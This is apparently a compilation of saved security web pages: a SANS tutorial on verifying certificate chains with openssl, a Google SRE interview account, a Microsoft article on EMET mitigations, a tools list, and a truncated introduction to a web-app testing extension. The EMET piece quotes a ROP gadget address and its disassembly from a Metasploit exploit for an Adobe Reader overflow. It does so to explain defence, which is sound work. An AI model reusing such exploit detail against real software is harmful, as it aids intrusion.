Center (NOC)/OU=Comodo Unified Communications/CN=isc.sans.org  
**verify error:num=27:certificate not trusted**  
verify return:1  
depth=0 /C=US/postalCode=20814/ST=Maryland/L=Bethesda/streetAddress=Suite
205/streetAddress=8120 Woodmont Ave/O=The SANS Institute/OU=Network Operations
Center (NOC)/OU=Comodo Unified Communications/CN=isc.sans.org  
**verify error:num=21:unable to verify the first certificate**  
verify return:1  
CONNECTED(00000003)  
---  
**Certificate chain**  
0 s:/C=US/postalCode=20814/ST=Maryland/L=Bethesda/streetAddress=Suite
205/streetAddress=8120 Woodmont Ave/O=The SANS Institute/OU=Network Operations
Center (NOC)/OU=Comodo Unified Communications/CN=isc.sans.org  
**i:/C=US/ST=UT/L=Salt Lake City/O=The USERTRUST Network/CN=USERTrust Legacy
Secure Server CA**  
---  
Server certificate  
-----BEGIN CERTIFICATE-----  
MIIGATCCBOmgAwIBAgIQOxCOI6FirgnSgN/fCRi57jANBgkqhkiG9w0BAQUFADB/  
MQswCQYDVQQGEwJVUzELMAkGA1UECBMCVVQxFzAVBgNVBAcTDlNhbHQgTGFrZSBD  
aXR5MR4wHAYDVQQKExVUaGUgVVNFUlRSVVNUIE5ldHdvcmsxKjAoBgNVBAMTIVVT  
RVJUcnVzdCBMZWdhY3kgU2VjdXJlIFNlcnZlciBDQTAeFw0xMDAzMzEwMDAwMDBa  
Fw0xMTAzMzEyMzU5NTlaMIH5MQswCQYDVQQGEwJVUzEOMAwGA1UEERMFMjA4MTQx  
ETAPBgNVBAgTCE1hcnlsYW5kMREwDwYDVQQHEwhCZXRoZXNkYTESMBAGA1UECRMJ  
U3VpdGUgMjA1MRowGAYDVQQJExE4MTIwIFdvb2Rtb250IEF2ZTEbMBkGA1UEChMS  
VGhlIFNBTlMgSW5zdGl0dXRlMSgwJgYDVQQLEx9OZXR3b3JrIE9wZXJhdGlvbnMg  
Q2VudGVyIChOT0MpMSYwJAYDVQQLEx1Db21vZG8gVW5pZmllZCBDb21tdW5pY2F0  
aW9uczEVMBMGA1UEAxMMaXNjLnNhbnMub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC  
AQ8AMIIBCgKCAQEAvYLqphsusuyiVDookRrfsZDx0T1SOf1EQmzUFSK0qVTv+RKM  
VanUSwsbWuMYrS6W7bGld2/qCGuk2rxMjwtiNE1x2rtaXUkngoKfnQKH+zGErbmc  
Ead2IjY5OANT6xnxfJS8a29XTqRrKJW8c/PR9NYCGUmq1X+0EnB4+wPZbDsebZ3h  
2wISxDaEJlOYbc3MzNyKwbTkwsyn1uwqZS0DQyKqVGL4hZeVmy5OwW9b8/RLYOov  
NYxTH0bHlbiaOuwakm4cx/ZJMELSBhbgwjt2sLkD8CShdES6fHPPAeMLW//ir3em  
RMXABEnF1wE5CmvMDe9e6b/joHurw34BISM8twIDAQABo4IB/DCCAfgwHwYDVR0j  
BBgwFoAUr6RAr58W/qsx/fvVl4v1kaMkhhYwHQYDVR0OBBYEFN6hBRDWEgv4hVZI  
hR1/CjtAx8k2MA4GA1UdDwEB/wQEAwIFoDAMBgNVHRMBAf8EAjAAMB0GA1UdJQQW  
MBQGCCsGAQUFBwMBBggrBgEFBQcDAjBCBgNVHSAEOzA5MDcGDCsGAQQBsjEBAgED  
BDAnMCUGCCsGAQUFBwIBFhlodHRwczovL2Nwcy51c2VydHJ1c3QuY29tMEsGA1Ud  
HwREMEIwQKA+oDyGOmh0dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9VU0VSVHJ1c3RM  
ZWdhY3lTZWN1cmVTZXJ2ZXJDQS5jcmwwfQYIKwYBBQUHAQEEcTBvMEYGCCsGAQUF  
BzAChjpodHRwOi8vY3J0LnVzZXJ0cnVzdC5jb20vVVNFUlRydXN0TGVnYWN5U2Vj  
dXJlU2VydmVyQ0EuY3J0MCUGCCsGAQUFBzABhhlodHRwOi8vb2NzcC51c2VydHJ1  
c3QuY29tMGkGA1UdEQRiMGCCDGlzYy5zYW5zLm9yZ4IRaXNjLmluY2lkZW50cy5v  
cmeCDGlzYy5zYW5zLmVkdYINaXNjMS5zYW5zLm9yZ4INaXNjMi5zYW5zLm9yZ4IR  
d3d3LmluY2lkZW50cy5vcmcwDQYJKoZIhvcNAQEFBQADggEBAGBhcG/MGgAsiwsB  
AAg4ZYndAEukeYXpIbXzU5T9ZqkqHPWiUearWDzBgWKJcpgF+v9ZCqCrKuYbXXnv  
zqZi+BPKX3BSMxHlDUZ0C6tU/G6+FqcV4j19S+xPjAVvk28yqaZc9BNpLnCogAc/  
F3gHL7SwCDFowP+RaqUlbUr1UtQgKDILWSOM4ukoVMbCt5nNmyXu0eDFb9tlWkJK  
KdPYzuKCYfWS7/9bQ868fML3m1xCZqG7L0t/XAFSZYN3ytqtbRTyOjcjdEwSxwA5  
O3gV+dW6qM7/AmGZu+0/Grw3WMwiXzO8tRAHYliNz9PDqnK2k5NE0VbKKhndsoRc  
oAA+AfY=  
-----END CERTIFICATE-----  
subject=/C=US/postalCode=20814/ST=Maryland/L=Bethesda/streetAddress=Suite
205/streetAddress=8120 Woodmont Ave/O=The SANS Institute/OU=Network Operations
Center (NOC)/OU=Comodo Unified Communications/CN=isc.sans.org  
**issuer=/C=US/ST=UT/L=Salt Lake City/O=The USERTRUST Network/CN=USERTrust
Legacy Secure Server CA**  
---  
No client certificate CA names sent  
---  
SSL handshake has read 2233 bytes and written 325 bytes  
---  
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA  
Server public key is 2048 bit  
Compression: NONE  
Expansion: NONE  
SSL-Session:  
Protocol : TLSv1  
Cipher : DHE-RSA-AES256-SHA  
Session-ID: 08BED94D2BBA7E525FB37BFE20DCD155CE62C93871B41ABBDF810D663FFC4A61  
Session-ID-ctx:  
Master-Key:
620F10AF948333D43BCC2656E4493563C4A827A8BFAD46AF0815CF3643C602C0E1EBA3CD5DBFE0C4BA65F2DBD9762DF2  
Key-Arg : None  
Start Time: 1271777232  
Timeout : 300 (sec)  
**Verify return code: 21 (unable to verify the first certificate)**  
---  
closed`  
---  
From the output, ans specifically the verify return code at the end, you can
see that the server certificate cannot be verified.

First of all, create a "certs" directory to put all the required files in.
Copy and paste to a file \("ISC.pem"\) the digital certificate, that is, the
text between "-----BEGIN CERTIFICATE-----" to "-----END CERTIFICATE-----"
\(including both lines\).

**Step 2** : Identify the issuer and get its certificate.

Open the "ISC.pem" certificate file \(by double-clicking on it on most
operating systems\) and inspect the following fields:

  * The certificate thumbprint or fingerprint that identifies the server certificate: "bd:95:df:ac...46:aa" \(SHA1\).
  * Issuer \(under the "Certificate" section\): Who did generate and issue the server certificate? "USERTrust Legacy Secure Server CA" from "The USERTRUST Network".
  * The "Certificate Authority Key Identifier" or fingerprint \(under "Certificate - Extensions"\): "af:a4:40:af...86:16".
  * The "Authority Information Access" \(under the same section\): It contains a pointer to the digital certificate of the issuer certification authority \(CA\): "URI: http://crt.usertrust.com/USERTrustLegacySecureServerCA.crt".

Obtain a copy of the issuer certificate. The most secure option would be to
get its certificate through HTTPS and not HTTP, but this only depends on how
the CA decided to make it available. Double check with the CA website that the
URL and the fingerprint are valid. In this case, USERTrust was acquired by
Comodo, and the issuer certificate is available here \(https link\) and
referenced in its list of certificates. This certificate belongs to the
USERTrust intermediate CA and was the one not available in Firefox 3.6.3 by
default, hence, the root cause of the initial SSL/TLS error on the ISC
website.

Although you might be tempted to perform the manual verification all from the
command line, it is not the most secure option, as you could be forced to use
http vs. https when using wget or curl. Depending on the version and platform
of these tools, they may be distributed without a default list of trusted root
certificates or do not use the list available on the system. Therefore, **\*\*
this is NOT the way to get the intermediate certificate** \*\*, use a web
browser instead:

`**$ wgethttp://crt.usertrust.com/USERTrustLegacySecureServerCA.crt**  
--2010-04-20 17:32:44--
http://crt.usertrust.com/USERTrustLegacySecureServerCA.crt  
...  
2010-04-20 17:32:45 (32.0 MB/s) - `USERTrustLegacySecureServerCA.crt' saved
[1073/1073]  
$`  
---  
**Step 3** : Try to verify the digital certificate again, but this time make
use of the previously downloaded certificate
\("USERTrustLegacySecureServerCA.crt"\).

Before using the downloaded certificate, we need to convert it to the PEM
format \(not required this time; exemplified later\), and build the
certificates directory required by the openssl "-CApath" option. The Unix
"c\_rehash" script helps to create the appropriate directory structure and
certificate hash symbolic links. Be sure to rename all the certificates in PEM
format to .pem, such as "USERTrustLegacySecureServerCA.crt":

`**$ c_rehash ./certs**  
Doing ./certs  
ISC.pem =&gt; fc1aa8ab.0  
USERTrustLegacySecureServerCA.pem =&gt; cf831791.0  
$`  
---  
If we try to validate the certificate again, and if we already have the
certificates for all the intermediate and root CA's identified in the trust
certificate chain stored on the "certs" directory, we will get a positive
response: "Verify return code: 0 \(ok\)".

`**$ openssl s_client -CApath ./certs -connectisc.sans.org:443**  
CONNECTED(00000003)  
**depth=2 /C=US/O=Entrust.net/OU=www.entrust.net/CPS incorp. by ref. (limits
liab.)/OU=(c) 1999 Entrust.net Limited/CN=Entrust.net Secure Server
Certification Authority**  
verify return:1  
**depth=1 /C=US/ST=UT/L=Salt Lake City/O=The USERTRUST Network/CN=USERTrust
Legacy Secure Server CA**  
verify return:1  
**depth=0 /C=US/postalCode=20814/ST=Maryland/L=Bethesda/streetAddress=Suite
205/streetAddress=8120 Woodmont Ave/O=The SANS Institute/OU=Network Operations
Center (NOC)/OU=Comodo Unified Communications/CN=isc.sans.org**  
verify return:1  
---  
Certificate chain  
0 s:/C=US/postalCode=20814/ST=Maryland/L=Bethesda/streetAddress=Suite
205/streetAddress=8120 Woodmont Ave/O=The SANS Institute/OU=Network Operations
Center (NOC)/OU=Comodo Unified Communications/CN=isc.sans.org  
i:/C=US/ST=UT/L=Salt Lake City/O=The USERTRUST Network/CN=USERTrust Legacy
Secure Server CA  
---  
Server certificate  
-----BEGIN CERTIFICATE-----  
MIIGATCCBOmgAwIBAgIQOxCOI6FirgnSgN/fCRi57jANBgkqhkiG9w0BAQUFADB/  
...  
oAA+AfY=  
-----END CERTIFICATE-----  
subject=/C=US/postalCode=20814/ST=Maryland/L=Bethesda/streetAddress=Suite
205/streetAddress=8120 Woodmont Ave/O=The SANS Institute/OU=Network Operations
Center (NOC)/OU=Comodo Unified Communications/CN=isc.sans.org  
issuer=/C=US/ST=UT/L=Salt Lake City/O=The USERTRUST Network/CN=USERTrust
Legacy Secure Server CA  
---  
No client certificate CA names sent  
---  
SSL handshake has read 2233 bytes and written 325 bytes  
---  
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA  
Server public key is 2048 bit  
Compression: NONE  
Expansion: NONE  
SSL-Session:  
Protocol : TLSv1  
Cipher : DHE-RSA-AES256-SHA  
Session-ID: C898C8DB5CD9CDFEE404451BA3E19A440951A1960DAC1BA62FD35F23D9772B30  
Session-ID-ctx:  
Master-Key:
EC4D939A112112AAAB01DFF5FA0A5F6C26C568C8DEBBDF3A61515E8CD83F257DAB5894BC450A97A7EE5ABAB0B1893795  
Key-Arg : None  
Start Time: 1271778616  
Timeout : 300 (sec)  
**Verify return code: 0 (ok)**  
---  
closed`  
---  
If the certificate chain or hierarchy contains additional certificates, that
is, there are multiple intermediate CA's involved, you may need to repeat the
same process and download the certificates for all the other intermediate CA's
and the root CA \(omitted for brevity\). For example, the intermediate
USERTrust certificate was issued by "Entrust.net Secure Server Certification
Authority". This root CA certificate can be manually obtained in DER format
from Entrust website, with a fingerprint of "f0:17:62:13...d0:1a".

Once again, this DER file must be converted to PEM format using openssl:

`**$ openssl x509 -in entrust_ssl_ca.der -inform DER -outform PEM -out
entrust_ssl_ca.pem**`  
---  
Finally, you will need to rebuild the certificates directory again, using
"c\_rehash", once it contains all the intermediate and root CA certificate
files that belong to the certificate chain being tested, and try to verify the
certificate again.

We used the Internet Storm Center certificate as an example, whose chain has
three elements: the ISC \(isc.sans.org\) certificate, an intermediate
USERTrust CA, and the Entrust root CA.

<img src='img/Temp2_5202.png' width='306' height='320' />

A quick look in the Firefox Preferences \(Mac OS X\) or Options \(Windows and
Linux\), and specifically on the "Advanced - Encryption - View Certificates -
Authorities" section, confirms the intermediate CA certificate from USERTrust
was the one missing on Firefox 3.6.3 and, therefore, the one invalidating the
certificate trust chain. None of the available USERTrust certificates has the
right fingerprint, "af:a4:40:af...86:16".

<img src='img/Temp2_5203.png' width='320' height='194' />

The client browser does not have the intermediate certificate to be able to
verify the full certificate trust chain, and generates the error.

The most common method to avoid this type of certificate validation errors at
the web server level, thus for all the web server clients, is by delivering
the missing intermediate certificate from the web server itself to the client
at connection time.

In the Apache web server world, you simply need to get a copy of the
intermediate certificate, in this case "USERTrustLegacySecureServerCA.crt"
\(see Part 1\), and enter a reference to it through the
"SSLCertificateChainFile" directive in the Apache configuration file,
"httpd.conf", and specifically, in the section associated to the virtual host.
Example for the ISC web server \(_not the real config file_\):

`<virtualhost 10.10.10.10:443>  
DocumentRoot /var/www/html  
ServerName isc.sans.org  
SSLEngine on  
SSLCertificateFile /path/to/isc.sans.org.crt  
SSLCertificateKeyFile /path/to/isc.sans.org.key  
**SSLCertificateChainFile /path/to/USERTrustLegacySecureServerCA.crt**  
</virtualhost>`  
---  
These three mod\_ssl directives point to the server certificate, the server
private key, and the intermediate CA certificate, respectively.

**End-user awareness regarding the acceptance of invalid digital certificates
is a must\!**

# My Job Interview at Google - good coders code, great reuse

**Created:**| _6/21/2009 10:11:27 PM_  
---|---  
**Updated:**| _6/21/2009 10:11:43 PM_  
**Author:**| __  
**Tags:**| _Google career_  
  

# My Job Interview at Google

<img src='img/Temp2_5523.jpg' alt='My Job Interview at Google' />A little more
than two weeks ago I had an on-site interview at Google in Mountain View,
California\! The job interview with Google was an interesting experience and I
want to tell you about it. \(I got the green light from Google to publish this
article\).

The position I was interviewing for was a Google SRE. SRE stands for Site
Reliability Engineering. Site reliability engineers \(SREs\) are both software
engineers and systems administrators, responsible for Google’s production
services from end-to-end.

There were eight separate interviews total. The first three were over the
phone \(phone interviews\) and the remaining five were on-site. The first
interview was with the recruiter and was not very technical but the other
seven were very technical.

All interviews went very well but I just got to know that I did not get
hired\! Oh well… I personally think that I did really well. I answered all the
questions but it seems they were not satisfied\! The recruiter told me that I
did not have enough experience to work in a mission critical team and that I
should get more experience and try again.

**Update:** This article has been translated to Japanese.  
**Update:** This article has been translated to German.

Here is how it all happened.

Shortly after I published the “Code Reuse in Google Chrome” post I was
contacted by a recruiter at Google. The email said:

> I recruit top notch Software Engineering talent at Google. I recently came
> across your name as a possible world class Engineer and am intrigued to know
> more about you. I promise to exchange some detailed info about us as well.
> Interested to hear more? Want to be an impact player at Google? Then please
> respond with a current \(English\) copy of your resume and I’ll be happy to
> call you and discuss.
At first I thought I would be applying for a software developer position, but
after we went through my skillset, the recruiter concluded that I would better
fit as an SRE. I agreed with him. This seemed like a perfect position for me.
I love systems administration as much as I love programming.

## First Interview \(phone\)

The first interview was on the 10th of September with the recruiter. He
explained the Google recruitment process to me and we went through my skill
set. I had to rank myself from 0 - 10 in a bunch of areas such as C
programming, C++ programming, Python programming, networking, algorithms and
data structures, distributed systems, Linux systems administration, and
others.

As I said, based on my answers we concluded that SRE was the best position for
me. An SRE basically has to know everything: algorithms, data structures,
programming, networking, distributed systems, scalable architecture,
troubleshooting. It’s a great hacker position\!

After these questions he asked me where I would like to work - Google office
in Ireland, Zurich, Mountain View or Australia. I said Mountain View as it’s
the Googleplex\! He explained that if the interviews went OK, I’d have to get
an H-1B visa that allows non-US citizens to work in the US.

The second half of the interview had some basic technical questions, just to
make sure I knew something. The questions were about Linux systems
administration, algorithms, computer architecture and C programming. **I can’t
go into any details because I signed a non-disclosure agreement and my
recruiter kindly asked me not to post the questions\!**

I made some factual mistakes but he was satisfied and we scheduled the next
phone interview. He warned me that it will be very technical and I should do
really good preps. I asked him to give me a plenty of time for the preparation
and we scheduled the next interview on 22nd of September.

He also told me that each phone interview is going to be 45 minutes to 1 hour
long.

I started preparing like crazy. I found three presentations on what SRE is all
about:

  * Engineering Reliability into Web Sites: Google SRE
  * Google SRE: That Couldn’t Happen to US… Could It?
  * Google SRE: Chasing Uptime

Then I found all the other blog posts about interviews and interview questions
at Google:

  * Corey Trager’s Google Interview
  * Rod Hilton’s Google Interview
  * Ben Watson’s Google Interview
  * Shaun Boyd’s Google Interview
  * How I Blew My Google Interview by Henry Blodget
  * Get That Job at Google by Steve Yegge
  * Tales from the Google’s interview room
  * Google Interview Questions
  * Google Interview Questions — Fun Brain Teasers\!
  * And some others…

I printed and read four Google research papers:

  * The Google File System
  * Bigtable: A Distributed Storage System for Structured Data
  * MapReduce: Simplified Data Processing on Large Clusters
  * and just for fun Failure Trends in a Large Disk Drive Population

I also went through several books:

  * the best book on basics of networking “TCP/IP Illustrated“
  * the best book on algorithms “MIT’s Introduction to Algorithms” + my notes on algorithms
  * a book on scalability “Building Scalable Web Sites“

As I did not know if I might get specific programming language questions, I
went through a few tens of receipts in C++ Cookbook, Python Cookbook, and Perl
Cookbook.

## Second Interview \(phone\)

The second phone interview was with an engineer from Google. He worked on the
Ads team which is responsible for running AdSense, AdWords and other
advertisement stuff.

The interview was very technical and started with an algorithmic problem which
was too large to fit in computer memory. I had to tell him precisely how I
would get around this problem and what data structures and algorithms I would
use. He also asked me to think out loudly. The interview continued with
questions about data structures, DNS, TCP protocol, a security vulnerability
associated with TCP, networking in general, and Google itself. Sorry, but I
can’t disclose anything in more details.

After the interview the engineer had to write feedback on me. It was positive
and I could move on with the interviews.

## Third Interview \(phone\)

I gave myself more time to prepare and the third interview was on the 1st of
October. It was with an engineer from the Google traffic team.

In this interview I had a very simple programming question and I had to do
coding over phone. I was free to choose the language and I chose Perl as it is
my most favorite programming language. It was impossible to dictate Perl
syntax over phone “for my dollar sign element open paren at data close paren
open curly brace … close curly brace” so I submitted my Perl program over the
email.

Then the same problem was taken to the next level, what if the data we are
working on is gigabytes in size, terabytes in size. How would my
program/solution change?

Finally I had a question about DNS again, then HTTP protocol, routing, and TCP
data transfer.

The feedback was positive and I could prepare for the on-site interviews. In
my conversation with my recruiter I got to know that there will be five on-
site interviews, each exactly 45 minutes long. One on my previous work
experience, one on algorithms and data structures, one on troubleshooting and
networking, and two on software development with focus on C and C++.

My recruiter suggested that I read a few more documents:

  * Google C++ Style Guide
  * Web Search for a Planet: The Google Cluster Architecture
  * Algorithm Tutorials on TopCoder

I flew out to USA on 24th of October at 1pm from Latvia and arrived in
California at 8pm. The flight was actually 14 hours but it was nice that I
flew in the same direction as the time flows. This saved me 7 hours. The on-
site interview was scheduled on 27th of October so I had a good rest before
the interview. It was also nice that Google paid for my trip, hotel, cab and
food. I had zero expenses\!

## Fourth Interview \(on-site\)

The fourth interview was finally at Googleplex\! At 10am I met my recruiter
and we had a 15 minute discussion about the interviews. He told me I would
have two interviews now, then one of Google engineers would take me to lunch
to one of Google’s restaurants and then I would have three other interviews.

At 10:15am the first on-site interview began. It was about my previous job
experience. I have had a lot of job experience in the past and I decided to
tell about a physical security notification system that I coded in C on Linux
a few years ago. The system would receive messages through the serial port and
send out emails and SMS’es.

In the last minutes of the interview he asked me some basic Unix filesystem
questions.

In all the on-site interviews I was writing and drawing on two big
whiteboards. Fun\!

## Fifth Interview \(on-site\)

The fifth interview began at 11am. It was a coding session and began with a
trick question and not a real coding problem. I was asked to implement the
solution in C. The solution was a mathematical expression that was a one-line
return statement. No big coding there. Then I was asked to write an
implementation of a very well known data structure. While coding I made a
mistake and forgot to initialize part of a data structure that I had
malloc\(\)’ed\! The program would have segfault’ed in real life and I would
have noticed the error, but Google engineers are very serious about it\! If
you have an interview don’t ever make any mistakes\!

After this interview I was taken to lunch by the engineer who interviewed me
on the second \(phone\) interview. She told me she was working at Google for
two years and was very happy about it. We went to Asian food restaurant
\(located in Googleplex\) and I had all kinds of delicious foods. All free\!

Then she showed me around Googleplex. It was all amazing. Free drinks and
candy everywhere, some arcade machines, a beach volleyball outside, and many
other surprising things.

## Sixth Interview \(on-site\)

The sixth interview began at 12:45pm. It was a troubleshooting and networking
interview. The interviewer drew a network diagram on the whiteboard and had
imagined a problem in there. I had to ask a bunch of specific networking
questions to locate the problem. He was satisfied and in the last few minutes
of the interview he asked me some specific networking device questions.

## Seventh Interview \(on-site\)

The seventh interview began at 1:30pm. It was a coding session. I was asked to
implement a simple string manipulation subroutine in either C or C++. I chose
C. Unfortunately I made an off-by-one mistake there - the most common
programming mistake in the history of mankind. The whole interview focused on
this one problem.

## Eighth Interview \(on-site\)

The last, eight, interview began at 2:15pm. It was algorithms and data
structures interview. The problem presented here was similar to the problem in
the 2nd interview. Not only was it a problem too large to fit in computer
memory but it also was distributed. So I had to do all kinds of trickery to
solve it. The interview was very free-style and we talked back and forth about
the problem. I arrived at the correct solution near the end of the interview
and he said that not many candidates get that far in the solution. I was
happy.

After the interview the engineer escorted me out to the lobby and I took a cab
back to my hotel. That’s it\! <img src='img/Temp2_5516.jpg' alt=':)' />

## FIN

Overall the Google interviews were pure fun for me. The interview questions
were technical but not very challenging or difficult.

Thanks for the opportunity Google\! <img src='img/Temp2_5516.jpg' alt=':)' />

Post tags: google, google interview, googleplex, interview, job interview,
peteris krumins, site reliability engineer, site reliability engineering, sre

Bookmark with del.icio.us: <img src='img/Temp2_5521.jpg' alt='del.icio.us: My
Job Interview at Google' />Post to Reddit: <img src='img/Temp2_5525.jpg'
alt='reddit: My Job Interview at Google' />Digg it\! <img
src='img/Temp2_5520.jpg' alt='digg: My Job Interview at Google' />Stumble
it\!<img src='img/Temp2_5514.jpg' alt='stumbleupon: My Job Interview at
Google' />

Email Post <img src='img/Temp2_5518.jpg' alt='Email 'My Job Interview at Google' to a friend' /> | Print Post <img src='img/Temp2_5517.jpg' alt='Print 'My Job Interview at Google'' /> | Permalink <img src='img/Temp2_5515.jpg' alt='Permalink to 'My Job Interview at Google'' /> | Trackback <img src='img/Temp2_5522.jpg' alt='Trackback to 'My Job Interview at Google'' />  
\(Popularity: 100%\) 139,050 Views

**Did you like this post?** Subscribe here: <img src='img/Temp2_5526.jpg' />
<img src='img/Temp2_5519.jpg' width='88' height='26' />

<img src='img/Temp2_5524.jpg' width='129' height='42' alt='My Amazon.com Wish
List' /> If you really enjoyed the post, I'd appreciate a gift from my geeky
Amazon book wishlist. Books would make make me more educated and I would write
even better posts. Thanks\! :\)

Related Posts

  * My First Interview
  * Python Library for Searching Adwords
  * Python Library for Google Search
  * Code Reuse in Google Chrome Browser
  * Graduated with a B.Sc. Degree in Physics
  * Solving Google Treasure Hunt Puzzle 4: Prime Numbers
  * Theorizing from Data by Peter Norvig \(Video Lecture\)
  * Creating a Video Downloader Application using OpenSource Tools \(Part II\)

# Using the EMET to Safeguard Against Zero Days

**Created:**| _12/20/2010 10:14:10 PM_  
---|---  
**Updated:**| _12/20/2010 10:14:23 PM_  
**Author:**| __  
**Tags:**| _Debugging windows security security tools Microsoft_  
  

# Using the Enhanced Mitigation Experience Toolkit to Safeguard Against Zero
Days

Published: December 16, 2010

Authors: Fermin J. Serna, Security Software Engineer - MSRC, and Andrew Roths,
Senior Security Development Lead - MSRC

There have been a number of zero-day vulnerabilities circulating around the
Internet recently. A zero-day vulnerability is a security issue in a product
that is disclosed publicly before the vendor has created a security update for
it. In a zero-day exploit, the program takes advantage of the product
vulnerability in order to compromise a machine by running attacker-controlled
code. Zero-day exploits are a significant concern because in many cases there
are no workarounds with which to block the exploit, and, therefore, no way for
users to protect themselves.

Some examples of zero-day vulnerabilities include the Adobe Acrobat Reader
SING overflow, a couple Adobe Flash vulnerabilities involving malformed code
in the ActionScript language, the QuickTime “Marshall**ed\_pUnk** ”
vulnerability, and many others. Zero-day vulnerabilities can happen to any
vendor; therefore, zero-day exploitation can also happen to anyone. One of the
solutions Microsoft is offering to minimize the risks of zero-day exploitation
is the Enhanced Mitigation Experience Toolkit \(EMET\).

EMET provides new layers of security by implementing extra security
mitigations. Briefly described, a security mitigation is a technology that
makes the successful exploitation of a vulnerability more difficult and less
reliable. Take a look at Michael Howard’s article “Protecting Your Code with
Visual C++ Defenses” for a brief overview of some of these technologies. EMET
allows users to manage the security mitigations on their system and provides
several advantages:

  * **Highly configurable** : With EMET, mitigations can be individually enabled and disabled on a per-process basis. There is no need to recompile a process or change system policies for all processes. Users can simply select which mitigations get applied to which processes. This also allows users to apply mitigations to software that was compiled before the mitigations were even available.
  * **The latest mitigations** : EMET comes bundled with many of the latest mitigation technologies, several of which are unique to EMET and not available elsewhere. These cutting edge technologies help provide users with the most up-to-date protection.
  * **Ongoing improvement** : The release cycle for EMET is not tied to any product. EMET updates can be made dynamically as soon as new mitigation technologies become available. The platform is designed so that the mitigations can be updated as attackers start trying to evade them.
  * **Supports OS policies** : The policy for OS-supported mitigations can be seen and configured with EMET's graphical user interface. There is no need to locate and decipher registry keys or run platform-dependent utilities. Your mitigations can be seen and configured from a central point.

Now, let’s dive into one of the unique EMET mitigations, Mandatory Address
Space Layout Randomization \(ASLR\), to see how it works and how it helps
prevent successful exploitation. Mandatory ASLR builds on the ASLR mitigation
that has shipped with every version of the Windows operating system since
Windows Vista. ASLR works by randomizing the addresses where executables and
modules are loaded, which helps prevent an attacker from leveraging data at
predictable locations. Because an attacker must guess where the data they need
is located, a successful attack is less likely. There is a problem, though.
Even when an application has opted in to ASLR, some of the dynamic-link
library \(DLL\) files being used by the application can be placed at
predictable locations. This happens when DLLs are not compiled with the
/DYNAMICBASE linker option. However, when mandatory ASLR is enabled, EMET
solves this problem by forcing the relocation of the DLLs.

To see how Mandatory ASLR can help block exploitation, let’s take a look at
the metasploit module for the Adobe SING stack overflow vulnerability. This
exploit relies on several return-oriented programming \(ROP\) gadgets located
on a non-ASLR-aware module, icucnv36.dll. ROP gadgets are pieces of code used
by attackers to bypass Data Execution Prevention \(DEP\). Attackers commonly
use gadgets from predictable mappings, thus circumventing ASLR.

The first ROP gadget used places the stack at a controlled place. This can be
done because the attacker can reuse these lines of assembly from the non-ASLR
module. Here is what the ROP gadget looks like:

0:000> u 0x4a80cb38 L3  
icucnv36\!ucnv\_toUChars\_3\_6+0x162:  
4a80cb38 81c594070000 add ebp,794h  
4a80cb3e c9 leave  
4a80cb3f c3 ret  
0:000>

When EMET is in place and Mandatory ASLR is enabled, this DLL will be
relocated to a random place. The exploit will try to jump to 0x4a80cb38 but,
since the DLL was relocated, an attempt to change the ESP stack register to a
controlled place will fail. Here, you can see the ROP gadget is not present:

0:001> u 0x4a80cb38 L3  
4a80cb38 ?? ???  
^ Memory access error in 'u 0x4a80cb38 l3'  
0:001>

This mitigation has proved to be quite effective, and even the author of the
metasploit module for this vulnerability suggests installing EMET so it will
be harder to successfully exploit the vulnerability.

Mandatory ASLR it just one of the six mitigations bundled with EMET version
2.0. To read more about EMET, including a link to the User’s Guide, please
refer to this blog post. As a final note, we would like to point out that
while EMET will minimize the risks of exploitation, it is by no means
100-percent effective and should not be considered an alternative for security
updates and patching. Instead, EMET should be used in conjunction with other
efforts to safeguard your environment.

# Peter Van Eeckhoutte´s Blog :: \[Knowledge is not an object, it´s a flow\]
:: Exploit writing tutorial part 7 : Unicode – from 0×00410041 to calc

**Created:**| _12/28/2009 10:11:55 PM_  
---|---  
**Updated:**| _12/28/2009 10:12:18 PM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials_  
  
<img src='img/Temp2_6221' />

# Tools | Memory Dump, Software Trace, Debugging and Malware Analysis Portal
**Created:**| _11/23/2010 6:08:19 PM_  
---|---  
**Updated:**| _11/23/2010 6:08:38 PM_  
**Author:**| __  
**Tags:**| _bookmark Debugging Memory forensics reversing ToWatch_  
  

## Tools

WinDbg Quick Download Links, Symbols, etc.  
SystemDump  
Application Verifier  
IDA \(freeware\)  
StressPrinters  
Dependency Walker  
Kernel Memory Space Analyzer  
MS Debug Diagnostic Tool  
InstantDump \(JIT Process Dumper\)  
UDmp2Txt \(processing hundreds of user dumps\)  
TestDefaultDebugger  
User Mode Process Dumper \(userdump.exe\)  
Citrix DumpCheck \(Explorer extension\)  
Citrix DumpCheck \(Command line version\)  
All Sysinternals Tools  
PowerDbg  
Win32dd: tool to save physical memory  
LiveKd  
Windows System Dump Configuration/Validation Tool  
Blue Screen Viewer  
Collaborative debugging tool for code snippets  
ProcDump \(includes process cloning for Windows 7\)  
TraceHook v0.0.2  
Psscor2 Managed-Code Debugging Extension for WinDbg  
Generic tracer for simple debugging tasks \(gt\)  
Process Explorer \(now with dump saving capability\)  
NotMyFault  
x64 thread stack parameter navigation \(WinDbg extension\)  
Microsoft Hyper-V VM State to Memory Dump Converter

# Security Tools Benchmarking: The Diviner - Clairvoyance in the Digital
Frontier

**Created:**| _11/6/2012 9:23:53 AM_  
---|---  
**Updated:**| _11/6/2012 9:23:53 AM_  
**Author:**| __  
**Tags:**| _web-app-sec pentest_  
  

### The Diviner - Clairvoyance in the Digital Frontier

  

**The Diviner**

****

**Digital Clairvoyance**

****

**Server-Side Source Code and Memory Divination**

****

  

How to gain insight into the server-side source code and memory structure of
any application, using black box techniques and without relying on any
security exposures.

  

By Shay Chen and Eran Tamari

POC is implemented as a ZAP proxy **extension**, developed by **Hacktics
ASC**.

  

**Download:****** The Diviner Extension Homepage |  **Demonstration Videos:****** Source Code Divination Persistent SQL Injection Persistent XSS Detection  
---|---  
  

<img src='img/Temp2_7366.png' width='320' height='314' />

  
  

**_Introduction_**

** __**

**__**

There's a LOT of quality infosec publications lately, in blog posts, articles,
videos and whitepapers. Even though I try my best, I admit it's hard for me to
keep up.

  

Although this post is one of these publications, I already admit that the
title sounds a bit confusing and maybe even scary, and I am aware of that
since that's a response I got from many individuals.

  

So what's so **special** in this post that should make you want to **invest 5
minutes** of your precious time to read it?

  

I could tell you stories about research and development work that's been going
on for more than a year, or mention the fact that it contains an entirely
